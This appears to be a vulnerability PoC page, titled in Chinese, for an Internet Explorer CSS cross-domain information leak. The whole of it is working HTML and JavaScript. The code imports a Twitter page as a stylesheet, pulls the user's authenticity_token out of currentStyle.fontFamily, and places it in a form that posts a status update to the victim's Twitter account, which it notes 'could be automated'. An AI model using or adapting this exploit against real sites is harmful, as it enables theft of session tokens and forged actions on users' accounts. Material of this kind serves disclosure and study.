Microsoft IE CSS处理跨域信息泄露漏洞

<html> <head> <style> @import url("http://twitter.com/scarybeaststest"); </style> <script> function loaded() { var borrowed = document.body.currentStyle.fontFamily; var i = borrowed.indexOf("authenticity_token = '"); if (i == -1) { alert('Unable to locate authenticity token... fail will commence.'); } else { document.getElementById('stuff').innerText = 'READY... press button to post to your twitter account.'; } borrowed = borrowed.substring(i + 22); i = borrowed.indexOf("'"); if (i == -1) { alert('WTF?'); } borrowed = borrowed.substring(0, i); document.getElementById('here').value = borrowed; } </script> </head> <body onload="loaded()"> <button onclick="document.getElementById('form').submit()">CLICK TO POST TO YOUR TWITTER ACCOUNT - THIS COULD BE AUTOMATED</button> <p> <form id ="form" action="http://twitter.com/status/update" method="POST"> <input size="80" type="text" name="status" value="@scarybeasts would like the IE CSS bug fixed"/> <p> <input size="60" type="text" id="here" name="authenticity_token" value="value pending"/> </form> It will say READY here if it worked... then press the button with tweet text of your choice :) <div id="stuff"></div> </body> </html>